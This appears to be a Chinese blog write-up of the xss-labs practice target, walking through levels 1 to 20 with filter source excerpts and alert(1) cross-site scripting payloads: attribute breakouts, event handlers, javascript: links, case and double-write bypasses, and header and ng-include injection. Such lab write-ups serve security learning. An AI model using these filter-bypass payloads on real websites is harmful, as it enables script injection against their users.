xss-labs靶机练习
## leve-1
-
无任何过滤,get 型,直接
<script>alert(1)</script>
2.#
-
方法一:闭合 input 标签里面的
"><script>alert(1)</script>
-
方法二:闭合 value 属性,在 input 标签中添加新的属性
" onclick="alert(11)
3.HTML 实体化过滤#
-
htmlspecialchars 函数可以过滤
<``>``"
,但是不会过滤单引号,而且 value 的闭合也是采用单引号,所以会有 xss 漏洞 -
部分源码
<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword value='".htmlspecialchars($str)."'>
#
-
先试探防御机制,发现 value 值中把“<”过滤了,所以采用事件注入
" onclick="alert(11)
成功弹框
5.ri 和 on 防御机制#
-
ri 替换为 r_i,on 替换为 o_n
-
过滤了
" onclick="alert(11)``"><script>alert(1)</script>``"><img src=1 onerror=alert(1)
-
可以使用新标签
"><a href="javascript:alert(1)"
6.ri 和 on,href 防御机制#
-
ri 替换为 r_i,on 替换为 o_n,href 替换成 hr_ef,但是这道题没有过滤大小写。所以
-
"><a HREF="javascript:alert(1)"
7.script,on 等关键字替换为空#
-
双写绕过
-
" oonnclick="alert(11)
8.过滤较全,使用 html 实体编码#
-
这道题过滤有点对,查看源码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);#大小写过滤
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> #还有html编码
-
方法一:html 实体编码:
javascript:alert(1)
-
方法二:fromCharCode()函数:
String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
9.#
-
通过试探,这一关与上一关不同的是会在上一关的基础上,加入地址的检查,首先判断会检查哪些内容,这一关会检查输入的数据中是否会有 http://字段,所以需要在输入的字段中加入该字段
f(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
payload:javascript:alert('http://')
10.hidden 属性值---隐藏无法触发事件#
-
这一没有输入的地方,需要在 url 地址栏中输入,这一时输入是隐藏的,也就是说 keyname 并不是要注入的地方,真正注入的地方是三个 input,不过这三个被隐藏了,所以需要去试探这三个哪个是正确的,只有 t_sort 是正确的
-
这里的属性值是可以被替代的,通过再次
type="text"
来重新设置属性值,然后添加事件,即可触发弹框 -
payload:
t_sort="2 type="text" onclick="alert(1)
-
利用 html 的 accesskey 属性
t_sort=2" accesskey="x" onclick="alert(1)" type="text"
11.referer 注入#
-
源码,,(不看源码的话。。。没了呀)
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
可以看到,这里对 referer 参数替换了<>,没有了其他过滤,对于 t_sort 进行了 HTML 实体化,而且是双引号闭合,所以不会有注入。 referer 的 payload:在 hackbar 中传 referer 参数t_ref=2" onclick="alert(1)" type="text
12.User-agent 的 xss 注入#
-
和 11 题的原理一样
13.cookie 的 xss 注入#
-
和上述差不多
14.这道题有问题#
15.ng-include#
-
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
可以看到的是,变量名是“src”,这也没有提示,确实猜不到 通过试探,发现所有的输入都会被注视到 ngInclude: 1 之后,所以先了解一下 ngInclude 它的作用 ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。 也就是说它的参数是一个 html 页面 发现在该页面会加载 level1 的页面,我们在 15 页面里面是没有注入点,但是在 1 页面里面有,尝试在 1 里面注入 src='level1.php?name=1<script>alert(1)</script>'
并没有被执行,因为通过 htmlspecialchars($str)函数,有些特殊字符被转码了,转为了 html 实体,所以我们采用其他标签的事件属性触发 src='level1.php?name=<img src=1 onerror=alert(1)>'
16.#
-
直接在前端页面中修改 img 标签即可。。
-
源码只是过滤了部分字符,payload
<img%0asrc=1%0aonerror=alert(1)>
17-18-19-20--#
-
四道题都一类题,涉及 flash-xss,
swf
后缀文件--动画软件 Flash 的专用格式,广泛应用于网页设计和动画制作 部分源码如下
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
embed 的语法格式:<embed 属性 1=“属性值 1” 属性 2=“属性值 2”……> payload:?arg01=a" onmouseover=alert(1)&arg02=b
作者:kzd的前沿思考
出处:https://www.cnblogs.com/Fram3/p/15864826.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!